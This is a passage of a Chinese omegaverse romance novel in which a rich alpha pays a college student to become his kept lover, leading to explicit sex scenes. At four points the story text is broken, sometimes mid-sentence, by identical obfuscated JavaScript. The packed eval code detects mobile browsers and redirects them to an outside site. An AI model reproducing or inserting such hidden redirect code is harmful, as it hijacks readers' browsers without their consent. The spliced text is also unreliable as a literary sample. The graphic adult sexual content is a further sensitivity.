“……我现在不一样了。” 谢铮看着球场上飞来飞去的篮球觉得手痒,猛地踩下刹车。他朝球场扬了扬下巴:“试试?” 宋清远就下车去问球场的男生们能不能加入。 场上刚好有艺术系的学生,认识宋清远,也和宋清远打过球,很爽快地同意了。 学生们也是有自己的小心思——宋老师人长得好,沉稳年上的类型,特招小o喜欢,和他一起打球的时候,旁边围观的o都变多了。 更别提今天还加了一个谢铮,两个成年男人都很招人,男男女女的omega围在旁边看,球场上的学生们虽然不是视线中心,但也能受到瞩目。他们因此更卖力地打球,像开屏的孔雀。 谢铮的西装外套和领带都扔在球场边上,白衬衣袖口挽上去,他额头上带了点汗,碎发湿漉漉贴在前额。 酣畅淋漓的运动把谢铮心里最后那点儿火也给灭下去了,他浑身舒畅,笑得很欢地看向宋清远:“你输了。” - “你输了。交钱交钱。” 说话的是个精瘦的男人,他笑着打开收款码推给路鹿:“一百五,转过来。” 路鹿笑:“过去了,卫哥。” 男人又去催其他人:“还有你们,愿赌服输,都像小鹿一样爽快点儿啊。” 男人名叫卫超,是“壹杯”老板的远房表弟,给他们这些服务生当领班。 卫超喜欢赌钱,说什么小赌怡情,每到发工资的日子前后总愿意拉着其他人一起打牌。但他不喜欢输,一旦输了就要给别人使脸色,或是拖着别人一直打牌,直到自己赢了为之。 有很多人不愿意自己的工资刚到手就送人,被卫超明里暗里使了不少绊子,也有受不了的人直接就提辞职了。 路鹿倒不会和他对着干,每次故意放水,输给卫超两百三百,交钱也爽快。把卫超哄开心了,卫超有什么好活儿都派给他,就像上次,有个同事生病,卫超就叫他来顶了夜班,他拿了白班1.5倍的日薪,还遇到了来喝酒的谢铮。 想到谢铮,路鹿打开和崔松柏的聊天记录。 [ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456880|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔松柏]:我看到宋老师和谢铮在球场打球! [崔松柏]:谢铮打得还挺好,好多人都在看他! [崔松柏]:我什么时候能变成这样的有钱人啊?!可恶啊! [崔松柏]:图片.jpg 他刚刚一直在陪卫超打牌没空点开,这会儿自己一个人了,他下载了原图,把图片放大了仔仔细细地看。 第一个放大的是谢铮。他抬起手臂,偏头用袖子擦额头上的汗,小腹露出来一截,模模糊糊地能看到深入裤腰的马甲线。 照片角落停着一辆蓝色的车,路鹿认出这是宋清远的车。 可能是谢铮觉得没车不方便,所以管宋清远借了车。 车的后座有黑色的画板袋,宋清远去工作室拿了画板走?因为他终于买到了回老家的车票? 路鹿一个人的时候就不怎么笑了,面无表情的。他把图片保存了,退出和崔松柏的聊天界面后,顺手看了一眼自己的余额。 7189.5 他给备注是“李医生”的人转了四千五过去,还剩下了两千六。 路鹿其实很少有这么富裕的时候,主要是因为前两天学校把奖学金发下来了。所以就算他买了件新外套也有剩余。 他轻快地从走廊里绕出来,看见了让自己很开心的人。 谢铮不知道什么时候来了,还是坐在上次的卡座里。 和他一起坐在卡座里的人还是上次那些色眯眯的中年人,就算已经卖力打扮过了,还是露出一股油腻的味道,谢铮和他们一比简直就是在闪闪发光。 路鹿从口袋里翻出一根皮筋,对着墙壁的反光把碎发扎在脑后,装作没看到谢铮,拿着托盘和菜单往外走。 他现在还拿不准谢铮到底喜欢什么样的,但总归不会喜欢在谈生意的时候不分场合热情扑过去的笨蛋。 谢铮倒是一眼就发现了路鹿。 或者说他今天还把和胡奇志见面的地点定在这里,为的就是想多看两眼路鹿这张长在自己审美上的脸。 男生穿着统一的西式制服,后脑一根毛茸茸的尾巴,看得人想伸手扯一下。 谢铮勾着嘴角,朝路鹿的方向打了两个响指:“来。” 路鹿看到谢铮,笑吟吟地走到近前。 谢铮伸手拿过菜单,闲散地翻了两页,帮自己和几位老板点了几杯招牌酒。 路鹿一一记下后离开,过一会儿就把酒端上来,其中一杯谢铮不记得自己点过,清澈的淡黄色液体,被路鹿摆在面前。 谢铮皱了皱眉,刚想问路鹿错了吧,却眼尖地看到液体里面上下浮动的果粒。 谢铮扬了扬眉,端起来喝了一口。 像是有一瓣柚子在谢铮嘴巴里爆开,柑橘类的味道新鲜而霸道,猛地把club里其他混杂的味道都推远了一点,沁人心脾。 谢铮咯吱咯吱地咬着嘴巴里的果肉,掀起眼皮看了路鹿一眼。 - 谢铮日记 [十四年前] 骨折住院,好无聊。 早知道带游戏机来玩。 5. 第 5 章 第5章 昨天之后,谢铮的助理已经抓紧时间在和胡奇志的团队对接。 今天再和胡奇志来“壹杯”,是用于维护和加深几人之间的酒肉友谊。 胡奇志今天明显是带着猎艳的心态,和另外几人一双眼睛贼溜溜地转,专盯着穿着少的小o。 后来倒真让他们找到三个年轻漂亮的omega男孩愿意坐过来,只是这三人虽然坐在胡奇志等人身边,眼神却若有似无地朝谢铮脸上看。 不知道是谁还在桌下用脚碰碰谢铮的裤腿,谢铮把他踢回去:“去。” 胡奇志自然也发现了桌下的小动作。 谢铮当然招人喜欢,可喜欢谢铮的omega此时正坐在他怀里,这并不是让人恼怒的事情,反而他很得意。 他还饶有兴趣地问谢铮:“谢老弟喜欢什么样的?” 谢铮坏笑一声,没说话,眼睛看向旁边。 今晚club客人不多,服务生没事的时候就都凑在吧台那边,路鹿倒是还在干活,此时正在给隔壁几桌的客人点菜,笑容很真诚灿烂。 给人打工也这么开心? 真是一头蠢鹿。 谢铮端起那杯鲜榨柚子汁喝了一口,把冰块咬得发出“咔嚓”“咔嚓”的碎裂声。 胡奇志还在继续刚刚的话题:“谢老弟这样的条件,要找什么样儿的找不到?” “找不到,包一个也行啊。”说话的人肚子顶在桌子上,谢铮知道这人自己就在外面包了三个小情人,也难怪张口闭口都是这个。 “包一个?那不一定是谁更占便宜呢。” 几个人哄笑起来。 今天的酒局结束得早,胡奇志他们领着那几个omega走了,用意明显。 谢铮倒是不着急走。 这间club禁烟,谢铮嘴里发空,捻起酒杯上的橄榄片放在舌根下吮。 他抬眼找路鹿,却见到路鹿正好在朝自己走:“谢叔叔。” 他给谢铮看他掌心里的东西:“我问同事借车了,走吗?” 谢铮看着路鹿的手指,alpha的手指修长显眼,能看出薄薄的皮肤下骨骼的形状。 谢铮:“我今天开车来的。你们宋老师把车借我了。” 路鹿“啊”了声:“那我来代驾?” 谢铮很轻地挑了一下眉。 安静片刻后,他笑着点了下头。 路鹿:“我去还一下钥匙。” 员工休息室在走廊后,路鹿绕进去后呆了很久,久到谢铮都有点不耐烦了才出来。 谢铮起身拿西装外套,却听到路鹿问自己:“谢叔叔,你会打牌吗?” 谢铮扬眉,没说话,等着路鹿继续往下说。 “领班在打牌,少人。” 谢铮嗤笑:“……你让我去和你们那个领班打牌?” 就差把“他配吗”三个字直接说出口了。 路鹿叹口气:“他赢了我好多钱,谢叔叔。” 谢铮摸了一下嘴唇。 路鹿这是在找自己出头。像是学生受委屈之后也会回去找老师。 可惜找错了人,他不是护崽的宋清远。谢铮也是想让路鹿受委屈的坏人。 他看着路鹿半是叹息半是委屈的脸,实在是很对他胃口。这会儿他脑海里想的都是要按着路鹿的头让他跪下,拽着他后脑柔顺的尾巴,逼迫他仰起头把自己含到最深。 谢铮和路鹿对视一会,闻到摸出一根烟叼在嘴里,用力用牙齿摩擦烟蒂,笑:“走。” “壹杯”的员工休息室在走廊深处,并不算小,左右两侧各有一张长沙发和一只放衣服的铁柜,正中间的地方摆了两张油腻的方桌,一张桌上面放了点面包、糖果和外卖盒之类的东西,屋里的几个坐在另一张堆着牌的桌旁。 谢铮也懒得和这些人认识,坐到空着的椅子上,翘起二郎腿:“玩什么?” 他态度可谓相当不礼貌,但alpha的气压压下来,也没人敢说什么。 卫超问:“升级会吗?” 谢铮笑着点了下下巴,又看向路鹿,命令道:“来,给我看牌。” 路鹿“嗯”一声,走到谢铮侧后方。 为了舒服,路鹿左右手分别撑在谢铮椅背的两侧,只是椅背并不宽,路鹿的两只手都因此贴在谢铮的肩膀上,男生的体温透过衣物传递给谢铮。 谢铮回头扫了一眼路鹿握着椅背的修长手指,想,有意思。 谢铮现在也不是不打牌,但牌友不是这个公司的总裁、就是那个公司的老板,其中弯弯绕绕都不是卫超这个领班能比的,再加上他气势很猛,总爱趁人措手不及的时候进攻,几圈下来分数很高,压倒性的胜利。 出乎谢铮意外的是路鹿。蠢鹿记牌和算牌都很厉害,几圈下来连谁下一张能摸到什么都心里有数,有他帮忙看牌,谢铮省了不少事。 有这本领,也能输? 但谢铮转念一想就懂了,蠢鹿不敢得罪上司,别人都是靠记牌去赢,他靠记别人的牌去输。 他掀起眼皮看路鹿一眼,路鹿会错意,拿起旁边的打火机帮谢铮点了个烟。 谢铮吐了个烟圈,隔着白雾看路鹿的眉眼,又想,有点意思。 卫超这一会儿的工夫已经输了三百多,想发火又不敢,整个人憋屈得灰头土脸的,最后找了个借口:“谢老板,这会儿上客,忙起来了,要不——” 谢铮:“可以。今天到这里。” 谢铮这种老板都不随便加人,卫超和其他几人也没主动说要加好友,只是满脸土色地把钱转给路鹿,丢给路鹿一句“等下你转给谢老板”就快步离开了。 路鹿应该已经提前和卫超说过了,也没再打招呼,和谢铮一起出了club。 谢铮从后视镜里平静地打量路鹿。 他不屑去关注别人,但不代表发现不了别人的情绪。 他明显感觉到路鹿对他有点不寻常。 alpha和alpha之间就像是两个磁铁的正极,理论上不存在性吸引力,这么多年了谢铮也就见到自己这么一个怪胎。 总不能他恰好看上一个alpha,对方也对a感兴趣。 但找他帮忙出头,手故意碰他的肩膀,还主动提出开车送他回家。还给他喝和自己信息素味道相同的果汁。 这他妈几乎都是性明示了。 谢铮舔了下后槽牙,盯着路鹿后视镜里脸的目光逐渐变暗。 路鹿浑然不知,停在红绿灯前的时候突然想到了什么:“对了,谢叔叔。我把刚才你赢的钱转给你。” 谢铮嗤笑:“不用,你自己留着吧。” “那不行。谢叔叔你赢的,我拿了算什么道理?” 这点钱对谢铮来说根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456881|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不值得浪费口舌,路鹿却死了心想给他,谢铮在心里骂了几句蠢,索性打开收款码。 路鹿给他扫过来五百块。 红灯跳成绿色,路鹿把手机放在换挡杆后面的平台上。 本来灭掉的手机屏幕“叮咚”响了一声。 谢铮下意识扫过去,看到路鹿的屏幕上显示他收到了一条来自银行的短信。 谢铮在“余额2198.5”几个字上转了一圈,扯着唇角忍不住“哈”了一声。 也许关于路鹿的示好,他还可以有另一种解读。 也许和性无关,路鹿只是看中他的身份,想和他打好关系,进他的,或者被他介绍去其他公司,扩展更多人脉。 谢铮很直白地问路鹿:“你没什么钱?” 路鹿被逗笑了,很开心地噗嗤笑出声:“有钱就不打工了呀。” “想要钱?” 路鹿的笑意渐渐收拢了一些,他很老实地回答他:“我需要钱。” 谢铮“嗯”了一声,突然问路鹿:“加个好友?” 路鹿脸上的笑又扩大了点:“好呀,谢叔叔。” 下一个红绿灯路口的时候,谢铮通过了路鹿的好友申请。 路鹿的头像白底正中间有个简笔画的梅花鹿,因为太小了,又是黄色,不放大的话简直就像个小鸡仔一样趴在那里。 顺着头像点进去,路鹿发朋友圈的频率不高,上一条还是半年前,看背景应该是在猫咖,桌上一杯拉着圣诞树图案的咖啡,桌下的长腿上趴了三只布偶猫。 配字是“可爱^^” - 第二天宋清远出发,谢铮把他送到车站。 谢铮到现在也不知道宋清远为什么突然休假,但他知道每个人都有操蛋的糟心事,宋清远不说他也不问,只是在宋清远转身之前在好友肩膀上锤了一圈:“有什么事就叫我。” 宋清远笑:“谢谢。” 下午的时候司机终于从J市把谢铮的车开过来了。 司机姓田,谢铮叫他老田,他叫谢铮“谢哥”。 这是谢铮从高中的时候就认识的人,被人堵在小巷子里抢钱的时候谢铮顺手帮了他一把,从那以后就对谢铮忠心耿耿。 从谢铮爸妈眼皮子底下溜出来不容易,老田看着比几天之前沧桑了很多。有了顺手的司机,谢铮终于舒服了一点。 他让老田载着自己跑了几趟胡奇志的公司,对方也没特意卡他,短短三天之后就把这个小项目给确定下来,还给谢铮另介绍了一笔生意。 隔一天之后,谢铮跟着几个新认识的老板喝了点酒,在半夜十一点回到了宋清远的住处。 他躺在沙发上,觉得身体有些燥热,小腹处有暖流游走,带得心脏也跟着痒痒的。 谢铮熟悉这种感觉,这是易感期的征兆。 谢铮一条腿垂在地上,闭着眼睛揉了两下胸口,手往下探的时候又顿了顿。 他打开手机。 [谢]:在? 对方回得很快。 [蠢鹿]:谢叔叔 [蠢鹿]:怎么了? [谢]:需要钱么,我这儿有个活 [蠢鹿]:什么? 后面还跟着一个亮闪闪的探头表情包,晃得谢铮眼睛疼。 谢铮一个字一个字,慢吞吞地按着屏幕:被我包,一个月两万。 6. 第 6 章 第6章 消息发出去,对话框的上方就一直在显示着“对方正在输入中……”的字样,但一直都没消息再发过来。 不出意外的话,今晚他都未必能收到路鹿的回复。 但他会回的,因为这头愚蠢的鹿心思细腻,近乎讨好地照顾着别人的情绪。 至于回复的内容是同意或是拒绝,谢铮反倒不太在意。 多一个脸很对对胃口的小情人,或是和宋清远的得意门生再也说不了话。 其实哪个回答都对谢铮没什么太大影响。 经过这么一打岔,易感期带来的躁动反而平复了很多。 谢铮起身喝了杯冰水,打开电脑处理了一会助理发来的文件。 发回去的时候助理竟然还在线,收了文件后还和谢铮汇报了一下公司这段时间的情况。 谢铮手指落在键盘上,问:我爸妈怎么样? [可供领导驱使的助理1号]:前几天二老以为您睡在公司,每天都来。前台按您的吩咐没有放他们进来。昨天和今天倒是没见到二老。 谢铮一家人的性格都强势,谢铮看得出来父母对自己这次叛逆期感到十分棘手。 他忍不住露出一个冷笑,“啪”地一声合上了电脑。 - 今天是周末。 Y大平时十点半熄灯,每逢周末和假期,熄灯的时间就会往后延半个小时。 11:00,灯还亮着。 崔松柏一脸很梦幻的幸福:“是不是阿姨忘记了?我看别的宿舍都黑了哇。难道我今天终于可以熬夜打游戏了?” 其他两名舍友纷纷对他的天真表示了嘲笑,路鹿却一直没说话。 崔松柏后仰着看了一眼路鹿:“做什么呢?” 路鹿:“在回消息。” “又是你打工的领导?他又要折磨你了?” 路鹿很含糊地应了一声,也没说是还是不是。 谢铮说有个活要介绍给他之后,一直没说话。路鹿趁着这个工夫,再把谢铮的头像点开看。 谢铮的头像用的是他自己的照片,色调很复古,照片上人看起来比现在年轻,眉眼还没像现在这样凌厉,面无表情的,穿着件领口把嘴巴挡了一半的连帽衫,竟然有种禁欲的感觉。 倒是还抽烟,照片里谢铮右手夹着根点燃的香烟,袖子挽上去,露出一截腕骨。 这是什么时候拍的?五年前?十年前?或者更早? 路鹿从来不觉得和谢铮上过同一所初中高中,报考了同一所大学是什么被称作缘分的事情。 J市再大,优秀的教育资源也就那几间,很大一部分J市人的人生都是按照这样的轨迹在行走。 但看到谢铮年轻时候的样子,路鹿比自己想象中开心。 其实他应该早点去注意谢铮的,历年的毕业生合照、荣誉墙上的冠军照片……他要是早点注意到就好了。 谢铮的朋友圈显示着一条灰色的横杠,不知道是把路鹿屏蔽了,还是从来没发过东西,路鹿更倾向后者。 11:03分,宿管阿姨终于想起来她忘记关灯。 整栋宿舍楼瞬间陷入了黑暗,路鹿手机一震,收到了来自谢铮的消息。 “咣——!” “疼疼疼——” 崔松柏吓了一跳,赶紧拧开台灯。 台灯好几天没充电了,灯光黯淡且闪烁。 崔松柏往声音传来的方向看,见到路鹿连人带椅子摔倒在地上。 他吓了一跳:“小鹿?没事吧?” 路鹿借着他的手站起来:“……没事。” 崔松柏笑得很大声:“平时你不是挺灵活的吗?怎么坐在椅子上都能摔倒?带你去医院看看?” 路鹿笑眯眯地看着崔松柏。 平时路鹿笑得乖,但不代表他没脾气。 崔松柏最怵路鹿这幅憋着坏的笑模样,缩缩脖子不说话了,抱着洗浴用品溜到浴室里。 轮到路鹿去洗澡的时候热水已经剩下不多了,路鹿用半冷不热的水冲掉沐浴液,衣服都没穿,湿漉漉的手指划开屏幕,继续看谢铮给自己发的那条消息。 被我包,一个月两万。 被我包,一个月两万。 被我包—— 路鹿觉得自己要是再大十岁就好了,或者五岁,那样他至少不是只有脸能入谢铮的眼。 他可以光明正大地追谢铮,和他谈恋爱。 不是像现在这样,他和谢铮对对方的了解只有对方有一张很对自己胃口的脸。 但路鹿也知道,如果这条消息他回一个不字,谢铮以后永远都不会再找他。 就冲这一点,他不可能不同意的。 他故意碰谢铮的肩膀,请他喝柚子汁,故意让他看到自己的银行卡余额,不是为了让两人不再来往的。 路鹿终于唤出对话框里的键盘。 镜子里男生脸上没什么表情,手指打出来的字却显得犹犹豫豫的。 [Deer]:……谢叔叔…… [Deer]:我想和你聊一下……可以吗? 他消息发出去的时间已经死半夜两点,那时候谢铮已经睡着了。 等他看到消息的时候已经是第二天中午。 他今天要和新认识的几个老板谈项目,一大早就西装革履地出门了,直到中午才有空看手机,看到路鹿的消息的时候,谢铮脑子里还全是助理报给自己的数据。 他固然有天赋又行事狠辣,但白手起家,算是从业晚。和这些人已经在业内深扎根的老狐狸们打交道总归是要付出许多精力。 他这会儿没空和路鹿聊什么,只是道:晚上我给你电话。 路鹿回得很快:好。 等今天这场结束之后已经是傍晚,正逢晚餐时间,几个人又一起吃了个晚饭。在这场项目里谢铮算得上令几人的甲方,几个老板很恭维他,烟酒准备得格外用心。 等坐上车后座,准备回去已经是凌晨一点。 谢铮喝了不少,有点犯困,头歪在一边迷糊了一会,才想起来自己还和路鹿约好了电话联络。 他就给路鹿发了条消息:睡了吗? 一分钟后路鹿回了消息:谢叔叔。 他像是知道谢铮要问什么:我现在方便聊天的。 谢铮直接给他弹了个语音通话。 对面很安静,听筒里传来路鹿的声音:“喂,谢叔叔。” 他的声音听起来和平时不一样,刻意压低之后,带着微微沙哑的感觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456882|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一针抑制剂只管二十四小时,现在恰好是昨天那针结束效果的时间。谢铮现在只是出现了易感期的征兆,还没到真正的易感期,但路鹿这一声让谢铮突然燥热起来,一股火窜到谢铮小腹,又痒又疼。 路鹿等了等,见谢铮没说话,便自顾自地说下去:“谢叔叔,我觉得我们可以签一个合同。比如工资发放的时间,包不包含住宿费和……” 谢铮:“……” 什么玩意?要不他再给路鹿盖个公章开个实习证明吧?五险一金也顺便给他交了吧? 谢铮差点被这头蠢鹿气笑,他出声打断路鹿:“你直接说行还是不行。行就行,不行我绝不会纠缠。” 一秒,两秒,三秒。 五秒钟的安静过去后,听筒里传来路鹿乖顺的声音:“行的,谢叔叔。” 西装裤箍得谢铮有点疼,但他勾着唇角笑得很畅快,完全没有带坏好学生的罪恶感:“一会就到你学校了。校门口等我。” 十三分钟后,老田稳稳把车停在了学校门口。 路鹿已经站在门口了,黄外套牛仔裤,竟然还背着一个书包。 谢铮差点被他逗笑。 他按下车窗对路鹿招了招手:“上来。” 路鹿就拉开车门坐在了谢铮旁边。 谢铮把后座的挡板升上去,夹烟的手指支着下巴,借着外面路灯的光亮打量路鹿:“刚洗完澡?” 路鹿的头发还是湿的,虽然没有滴水,但微长的头发带着水汽很柔顺地垂在脸颊旁边,显得路鹿整个人很柔和。 路鹿点头,问谢铮:“我们去哪?” 谢铮这次是真被逗笑了:“去酒店。难不成你要在大街上被我干?” 最后一个字话音落下,路鹿突然抬头,用有点讶异的眼神看了一眼谢铮。 谢铮没注意到路鹿的目光,他看着窗外快速滑过的风景,淡笑的表情下藏着兴奋。 中间车子在药店门口停了一下,老田去买了套子和润滑剂,再过了十五分钟后,老田将车停在了酒店门口。 这酒店路鹿知道,是新五星酒店,最便宜的房间一晚上也要几千。 两人没什么话地上了电梯,进到房间里。 谢铮脱掉外套,再甩掉衬衣,露出结实劲瘦的身材。路鹿看着他的纹身,听到谢铮问:“一起么?正好帮你扩一下。” 路鹿:“……” 他又用那种很奇怪的眼神看了一眼谢铮,这回谢铮注意到了:“嗯?” 路鹿别开眼神。 谢铮靠近他,伸手捏捏他的脸,坏笑:“不好意思了?” 路鹿再回头看谢铮。 两人对视,谢铮才发现路鹿的眸色其实也很浅,琥珀色,像泡了蜂蜜的宝石。 谢铮喉结滚动了一下,屋子里突然弥漫起浓郁的烟草胡椒味。 路鹿抿了抿唇,低下头。 谢铮眼疾手快地把手指按在路鹿嘴唇上 ,啼笑皆非:“干嘛?接吻?还是免了吧。” “不喜欢?” “没必要。” 路鹿“哦”了声,乖巧地应:“知道了。” 谢铮便把手拿了下去。 谁知下一秒路鹿重新低下头,两片嘴唇还是准确无误地覆盖在了谢铮唇瓣上。 7. 第 7 章 第7章 “你他妈——” 谢铮皱眉推开路鹿,手背抹了一下嘴唇,还能感觉到路鹿的触感。年轻人嘴唇软软的,带着若有似无的柚子清香,其实感觉还不错。 路鹿噗嗤一笑,很利落地认错:“我是想提供优秀服务。” 谢铮看什么珍稀动物一样的眼神看了一眼路鹿。 还提供优秀服务?把自己当酒店服务生了? 谢铮都懒得说他,自顾自朝浴室走。路鹿还追问了一句:“我是第一次亲别人,应该还不错吧?” 谢铮脚步顿了顿。 第一次亲别人…… 第一次亲…… 第一次…… 谢铮问路鹿:“你不会都没谈过恋爱吧?” 路鹿摇头。 谢铮又用看什么珍稀动物一样的眼神看路鹿。 他上学的时候,也不是没遇到过路鹿这种人。能说会道、察言观色、亲切喜人,简直就是老师的宠儿,学生们追捧的对象。 这样的人当然招人喜欢,就算是长得差一点,也有许多人追,何况路鹿顶着这样一张脸。 路鹿轻柔地道:“没有。” 谢铮“操”了一声。 他看着路鹿淡粉色的嘴唇,一想到是自己刚刚得到了小孩的初吻,就很可耻地变得更兴奋。 谢铮朝他勾勾手指:“过来。再亲一下。” 宽阔明亮的房间里,胡椒味更浓了一些。路鹿像是闻不到一样,忍俊不禁问:“谢叔叔你不是说不接吻……” 谢铮这会儿倒是看出来路鹿是在逗自己了:“少废话。” 路鹿上前两步。 他比谢铮高小半个头,这会儿面对面地站着,小半个头的差距就有点明显。 路鹿双手捧着谢铮的脸,缓缓低下头来,柔软的唇再次印在谢铮薄薄的嘴唇上。 就这一下,谢铮是真的觉得路鹿很合自己口味。 不光是脸,还有这种毫不扭捏的地方。既然答应了被自己包,就没有再推三阻四,找乱七八糟的借口。 谢铮抬手抓住路鹿后脑的头发,笑:“宝贝儿,张嘴。” 路鹿很顺从地把嘴巴张开,谢铮把舌头探到他嘴里,像是闻到了血味的鲨鱼一样和他接吻。 谢铮听到路鹿问自己:“谢叔叔是初吻吗?” 谢铮没回答。 唇舌纠缠的滋味比谢铮想象中好很多,不是他脑补的那种黏腻恶心的感觉。路鹿的口腔温热,唇齿带着柚子的清香。 比起谢铮用力的亲吻,路鹿反而显得淡定多了。他一只手仍然捧着谢铮的脸,另一只手沿着谢铮的脖颈、手臂,按在他后背上,带点儿安抚的意思,好像是在告诉谢铮别这么着急。 这种包容的味道让谢铮觉得不自在,但他也没空多想,下面被裤子箍得越来越疼,他推着路鹿的胸口把他往浴室带。 温热的水淋下来,路鹿的衣服顿时全湿了。谢铮抽空睁眼看了一眼湿淋淋的路鹿,从鼻腔里笑了两声,使劲咬了一下路鹿唇瓣,又闭上眼。 路鹿垂眸看着谢铮。 谢铮的额发被水淋湿,全都垂了下来,那股凌厉的气质一下子少了很多,反而多出来一些慵懒。他衬衣已经脱在外面了,光裸的肌肤泛着甜蜜的光泽。 舌尖处传来疼痛的感觉,谢铮又咬了他。 这感觉真不赖,路鹿心里最后一丝犹豫也散去了。他知道自己的确做了正确的决定。 路鹿按着谢铮的后背把两人换了个位置,让谢铮靠着墙,自己站在外面,伸手撑着墙壁,把谢铮围在自己手臂中的那个小空间里。 谢铮笑着问他:“这么主动啊?” 路鹿顺着谢铮的脖颈往下亲,最后他单膝跪在地上,去解谢铮的腰带。 路鹿这时候脸上就没有那种蠢兮兮的笑容了,表情很严肃认真,薄薄的眼皮垂着,修长白皙的手指和谢铮麦色的皮肤有很强烈的对比。 谢铮垂眸看路鹿的表情,胸口起伏得厉害。 他伸手拍路鹿的脸:“连这个都会啊,宝贝儿?” 路鹿抬头看了谢铮一眼,笑一下。 谢铮很体贴地没动弹,按着路鹿的头顶,拇指描摹地去勾画路鹿的五官,从额头,到眉毛,再到鼻梁。 路鹿像是很喜欢他这样的抚摸,微微侧过头,把自己的脸更深地贴在谢铮手指上。 突然谢铮抓着路鹿头发的手鼓起肌肉,整个人失重似的往下坠了一下。 谢铮整个人的气息都是乱的,说话带喘:“……好爽,好他妈爽。” 比他自己一个人做手工活可爽多了。 路鹿抬头看了谢铮一眼:“我去拿润滑剂。” 他出去了一趟,很快又回来,直接把那个写着药店名字的塑料袋拿了回来。 包装都还没拆,路鹿把方形的盒子转了两圈才找到开口的位置。 谢铮靠在墙上看他拆包装。 路鹿手上沾了水,打滑了好几下,才终于把包装撕开。 他拿着说明书研究了一下:“懂了。” 透明的液体被路鹿挤出来了一些在掌心,朝谢铮走。 谢铮还以为路鹿是要自己帮忙,坏笑着伸手去接,路鹿也伸出手,目标却不是谢铮的手。 滑溜溜凉凉的触感,谢铮皱了皱眉,低头看路鹿握着自己的手。 “你懂个屁懂了。”谢铮又一次被路鹿逗笑了:“这东西不是用在这儿的。” 路鹿活动着手腕,声音很轻:“不是吗?” 两人一起垂眸看着那里,谢铮突然觉得自己那里变得有点陌生,可能是因为路鹿的手。 谢铮很舒服地仰着头,他闭着眼睛催路鹿:“快点。” 路鹿没听他的,动作依旧轻轻柔柔的,谢铮从鼻腔里轻轻哼哼着,他听到路鹿脱衣服的声音。 浴室里的柚子味一下子变得很浓,几乎盖过胡椒的味道。 这不是谢铮第一次直面别的alpha的信息素。 他打过不少架,激动起来大家都控制不住自己,各种刺鼻的味道混合在一起,刺得人太阳穴都在疼。 偏偏是这种互斥的感觉,谢铮很喜欢。 柚子味的信息素铺天盖地地包裹过来,谢铮四肢有点疼,也很爽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456883|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这种又疼又爽的感觉让谢铮缓不过神来,闭着眼睛好一会,才想起来去看路鹿。 就在睁眼的瞬间,谢铮感觉到路鹿的双手把自己往上托起来一截。 下一瞬—— “……操……我操……” 猝不及防地剧痛传来,谢铮疼得眼前都在发白,他胡乱勾住路鹿的脖子借力,不住吸气。 他睁眼,咬牙切齿地问路鹿:“你他妈,干什么呢?不想要命了?” 路鹿疼的也在倒吸气,但眼尾上翘,表情很乖:“谢叔叔,我怕疼。” 谢铮:“…………” 所以就趁他不注意把他……了??这会就不疼了??? 什么玩意?? 蠢鹿疯了吧??? 谢铮被摆了这么一道,气得牙根都在发痒。路鹿忍着疼,很讨好地保持着笑眯眯的表情亲亲谢铮的眼皮,鼻梁,嘴唇,又用信息素把他整个包裹起来:“谢叔叔。” 谢铮这会儿终于从那股疼劲里缓过来了,他勾着嘴角看路鹿的表情,伸手在男生脸上狠狠拧了一下,又拍一巴掌,阴狠道:“几条命,还算计起我来了?” 路鹿咬着嘴唇笑,丝毫没有做错事的内疚感。 见谢铮一直瞪他,他就道:“那我出去。” 话是这么说,路鹿的动作却很慢。谢铮拧着眉瞪他,借路鹿这张脸给自己消气,突然他表情变了一下,控制不住地从鼻腔里哼了一声。 路鹿问:“这儿?” 谢铮算是知道路鹿在打什么主意了。 “宝贝儿,”他拍着路鹿刚刚被自己掐红的脸,问他:“你同学知道你一肚子坏水吗?” 谢铮觉得路鹿使坏的样子比装乖的样子好玩多了。 真带劲儿。 他使劲在路鹿耳垂上咬一口,声音沙哑:“去床上。” 路鹿就这样抱着他出了浴室,路过中控台的时候,还把明亮的大灯给调暗了一点。 